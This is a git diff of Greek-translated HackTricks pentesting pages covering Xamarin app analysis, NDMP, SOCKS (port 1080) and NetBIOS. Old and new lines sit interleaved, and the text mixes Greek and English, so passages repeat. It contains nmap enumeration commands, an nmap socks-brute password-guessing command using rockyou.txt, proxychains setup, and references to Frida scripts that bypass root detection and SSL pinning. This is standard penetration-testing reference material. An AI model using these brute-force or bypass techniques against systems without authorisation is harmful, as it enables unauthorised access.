Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο για SSL pinning και τη χρήση εργαλείων όπως το [Fridax](https://github.com/NorthwaveSecurity/fridax) για τροποποιήσεις σε χρόνο εκτέλεσης του .NET δυαδικού σε εφαρμογές Xamarin. Τα σενάρια Frida είναι διαθέσιμα για να παρακάμψουν την ανίχνευση root ή το SSL pinning, ενισχύοντας τις δυνατότητες ανάλυσης.
Άλλα ενδιαφέροντα scripts του Frida:
Άλλα ενδιαφέροντα σενάρια Frida:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -67,16 +68,17 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Πληροφορίες Πρωτοκόλλου**
Από την [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
Από [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
> Το **NDMP**, ή **Network Data Management Protocol**, είναι ένα πρωτόκολλο που προορίζεται για τη μεταφορά δεδομένων μεταξύ συσκευών αποθήκευσης που είναι συνδεδεμένες στο δίκτυο \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) και συσκευών αντιγράφων ασφαλείας. Αυτό εξαλείφει την ανάγκη για μεταφορά των δεδομένων μέσω του διακομιστή αντιγράφων ασφαλείας, βελτιώνοντας έτσι την ταχύτητα και μειώνοντας το φορτίο από τον διακομιστή αντιγράφων ασφαλείας.
> **NDMP**, ή **Πρωτόκολλο Διαχείρισης Δεδομένων Δικτύου**, είναι ένα πρωτόκολλο που προορίζεται για τη μεταφορά δεδομένων μεταξύ συσκευών αποθήκευσης συνδεδεμένων στο δίκτυο \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) και συσκευών [backup](https://en.wikipedia.org/wiki/Backup). Αυτό αφαιρεί την ανάγκη μεταφοράς των δεδομένων μέσω του ίδιου του διακομιστή backup, ενισχύοντας έτσι την ταχύτητα και αφαιρώντας το φορτίο από τον διακομιστή backup.
**Προεπιλεγμένη θύρα:** 10000
```text
PORT STATE SERVICE REASON VERSION
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
```
# **Απαρίθμηση**
# **Καταμέτρηση**
```bash
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
```
@ -32,16 +33,19 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
`ndmp`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,66 +1,43 @@
# 1080 - Έλεγχος Πεντεστικής Εξάπλωσης Socks
# 1080 - Pentesting Socks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **SOCKS** είναι ένα πρωτόκολλο που χρησιμοποιείται για τη μεταφορά δεδομένων μεταξύ ενός πελάτη και ενός διακομιστή μέσω ενός διαμεσολαβητή (proxy). Η πέμπτη έκδοση, **SOCKS5**, προσθέτει μια προαιρετική λειτουργία πιστοποίησης, επιτρέποντας μόνο σε εξουσιοδοτημένους χρήστες να έχουν πρόσβαση στο διακομιστή. Κυρίως χειρίζεται τη διαμεσολάβηση των συνδέσεων TCP και την προώθηση πακέτων UDP, λειτουργώντας στο επίπεδο συνεδρίας (Επίπεδο 5) του μοντέλου OSI.
**SOCKS** είναι ένα πρωτόκολλο που χρησιμοποιείται για τη μεταφορά δεδομένων μεταξύ ενός πελάτη και ενός διακομιστή μέσω ενός proxy. Η πέμπτη έκδοση, **SOCKS5**, προσθέτει μια προαιρετική δυνατότητα αυθεντικοποίησης, επιτρέποντας μόνο στους εξουσιοδοτημένους χρήστες να έχουν πρόσβαση στον διακομιστή. Διαχειρίζεται κυρίως την προώθηση TCP συνδέσεων και την προώθηση UDP πακέτων, λειτουργώντας στο επίπεδο συνεδρίας (Επίπεδο 5) του μοντέλου OSI.
**Προεπιλεγμένη Θύρα:** 1080
**Default Port:** 1080
## Εξάπλωση
## Enumeration
### Έλεγχος Πιστοποίησης
### Authentication Check
```bash
nmap -p 1080 <ip> --script socks-auth-info
```
### Βίαιη Δύναμη
### Brute Force
#### Βασική χρήση
```bash
nmap --script socks-brute -p 1080 <ip>
```
#### Προηγμένη χρήση
##### Socks Proxy
A SOCKS proxy is a protocol that allows a client to establish a TCP connection through a proxy server. It operates at the transport layer and can forward any TCP/IP protocol. SOCKS proxies are commonly used for bypassing firewalls and accessing restricted websites.
##### Προξενητής Socks
Ένας προξενητής SOCKS είναι ένα πρωτόκολλο που επιτρέπει σε έναν πελάτη να δημιουργήσει μια σύνδεση TCP μέσω ενός προξενητή διακομιστή. Λειτουργεί στο επίπεδο μεταφοράς και μπορεί να προωθήσει οποιοδήποτε πρωτόκολλο TCP/IP. Οι προξενητές SOCKS χρησιμοποιούνται συνήθως για την απόκρυψη των προστατευτικών φραγών και την πρόσβαση σε περιορισμένες ιστοσελίδες.
##### Socks Proxy Chains
Socks proxy chains involve using multiple SOCKS proxies in a series to create a chain of proxy servers. This technique can be used to hide the original source of the traffic and increase anonymity. Each proxy in the chain forwards the traffic to the next proxy until it reaches the final destination.
##### Αλυσίδες προξενητών Socks
Οι αλυσίδες προξενητών SOCKS περιλαμβάνουν τη χρήση πολλαπλών προξενητών SOCKS σε μια σειρά για τη δημιουργία μιας αλυσίδας προξενητών διακομιστών. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να αποκρύψει την αρχική πηγή της κίνησης και να αυξήσει την ανωνυμία. Κάθε προξενητής στην αλυσίδα προωθεί την κίνηση στον επόμενο προξενητή μέχρι να φτάσει στον τελικό προορισμό.
##### Socks Over SSH
Socks over SSH is a technique that involves creating an SSH tunnel and using it as a proxy for SOCKS traffic. This allows the user to securely access remote resources through the SSH tunnel while also benefiting from the anonymity provided by the SOCKS proxy.
##### Socks μέσω SSH
Το Socks μέσω SSH είναι μια τεχνική που περιλαμβάνει τη δημιουργία ενός τούνελ SSH και τη χρήση του ως προξενητή για την κίνηση SOCKS. Αυτό επιτρέπει στον χρήστη να αποκτήσει ασφαλή πρόσβαση σε απομακρυσμένους πόρους μέσω του τούνελ SSH, ενώ επωφελείται επίσης από την ανωνυμία που παρέχεται από τον προξενητή SOCKS.
#### Προχωρημένη χρήση
```bash
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
```
#### Αποτέλεσμα
#### Έξοδος
```
PORT STATE SERVICE
1080/tcp open socks
@ -70,35 +47,15 @@ PORT STATE SERVICE
| Statistics
|_ Performed 1921 guesses in 6 seconds, average tps: 320
```
## Συνολική χρήση του proxychains
## Tunneling and Port Forwarding
Ρύθμιση του proxy chains για χρήση του socks proxy
### Basic proxychains usage
Ρυθμίστε τις αλυσίδες proxy για να χρησιμοποιήσετε socks proxy
```
nano /etc/proxychains4.conf
```
Επεξεργαστείτε το κάτω μέρος και προσθέστε τον διακομιστή μεσολάβησης (proxy) σας.
```markdown
## Παράδειγμα: Χρήση του Proxychains για την προώθηση της κίνησης μέσω ενός SOCKS proxy
Μπορείτε να χρησιμοποιήσετε το εργαλείο `proxychains` για να προωθήσετε την κίνηση μέσω ενός SOCKS proxy. Ακολουθούν οι βήματα για να το κάνετε αυτό:
1. Εγκαταστήστε το `proxychains` στο σύστημά σας.
2. Ανοίξτε το αρχείο ρυθμίσεων του `proxychains` (`/etc/proxychains.conf`) με έναν επεξεργαστή κειμένου.
3. Αναζητήστε τη γραμμή που λέει `socks4 127.0.0.1 9050` και αλλάξτε την διεύθυνση IP και τη θύρα του proxy με τις πληροφορίες του δικού σας proxy.
4. Αποθηκεύστε τις αλλαγές και κλείστε το αρχείο.
5. Εκτελέστε οποιαδήποτε εντολή θέλετε μέσω του `proxychains`, προσθέτοντας το πρόθεμα `proxychains` πριν από την εντολή. Για παράδειγμα:
```bash
proxychains curl https://example.com
```
Αυτή η εντολή θα εκτελέσει την εντολή `curl` μέσω του SOCKS proxy που έχετε διαμορφώσει.
Αυτό είναι ένα παράδειγμα χρήσης του `proxychains` για την προώθηση της κίνησης μέσω ενός SOCKS proxy. Μπορείτε να προσαρμόσετε τις ρυθμίσεις σύμφωνα με τις ανάγκες σας και τις πληροφορίες του δικού σας proxy.
```
Προσθέστε τον διακομιστή μεσολάβησης (proxy) σας στο αρχείο ρυθμίσεων του `proxychains` και εκτελέστε τις εντολές που θέλετε μέσω του `proxychains` για να προωθήσετε την κίνηση μέσω του SOCKS proxy.
Edit the bottom and add your proxy
```
socks5 10.10.10.10 1080
```
@ -106,18 +63,19 @@ socks5 10.10.10.10 1080
```
socks5 10.10.10.10 1080 username password
```
#### Περισσότερες πληροφορίες: [Σήραγγες και Προώθηση Θύρας](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
#### Περισσότερες πληροφορίες: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,67 +1,68 @@
# 137,138,139 - Ελεγκτική δοκιμή NetBios
# 137,138,139 - Pentesting NetBios
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Υπηρεσία Ονομάτων NetBios
## NetBios Name Service
Η **Υπηρεσία Ονομάτων NetBIOS** παίζει ένα κρίσιμο ρόλο, εμπλέκοντας διάφορες υπηρεσίες όπως η **εγγραφή και επίλυση ονομάτων**, η **διανομή δεδομένων** και οι **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία.
**Η Υπηρεσία Ονομάτων NetBIOS** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία.
[Από την Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
[Από το Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Υπηρεσία ονομάτων για εγγραφή και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp).
* Υπηρεσία διανομής δεδομένων για ασύνδετη επικοινωνία (θύρα: 138/udp).
* Υπηρεσία συνεδρίας για συνδεδεμένη επικοινωνία (θύρα: 139/tcp).
* Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp).
* Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp).
* Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp).
### Υπηρεσία Ονομάτων
Για να συμμετέχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω ενός **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Αίτηση Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει αναζήτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα του ονόματος ή για να επιλυθεί ένα όνομα σε μια διεύθυνση IP. Εργαλεία όπως το `nmblookup`, το `nbtscan` και το `nmap` χρησιμοποιούνται για την απαρίθμηση των υπηρεσιών NetBIOS, αποκαλύπτοντας τα ονόματα των διακομιστών και τις διευθύνσεις MAC.
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Ερώτησης Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Κατά την αναγνώριση ενός υπηρεσίας NetBIOS, μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του.
Αναγνωρίζοντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Υπηρεσία Διανομής Datagram
### Υπηρεσία Κατανομής Datagram
Τα datagrams του NetBIOS επιτρέπουν την ασύνδετη επικοινωνία μέσω του πρωτοκόλλου UDP, υποστηρίζοντας απευθείας αποστολή μηνυμάτων ή εκπομπή σε όλα τα ονόματα του δικτύου. Αυτή η υπηρεσία χρησιμοποιεί τη θύρα **138/udp**.
Τα datagrams NetBIOS επιτρέπουν τη σύνδεση χωρίς επικοινωνία μέσω UDP, υποστηρίζοντας άμεσες μηνύσεις ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Υπηρεσία Συνεδρίας
### Session Service
Για συνδέσεις που βασίζονται σε συνομιλίες, η **Υπηρεσία Συνεδρίας** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη συνδέσεις **TCP** μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Αίτηση Συνεδρίας" και μπορεί να καθιερωθεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και ανάκτηση, με το TCP να χειρίζεται τον έλεγχο ροής και την επαναλήψη πακέτων.
Για συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει πακέτα **Μηνύματος Συνεδρίας**, με τις συνεδρίες να τερματίζονται με το κλείσιμο της σύνδεσης TCP.
Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP.
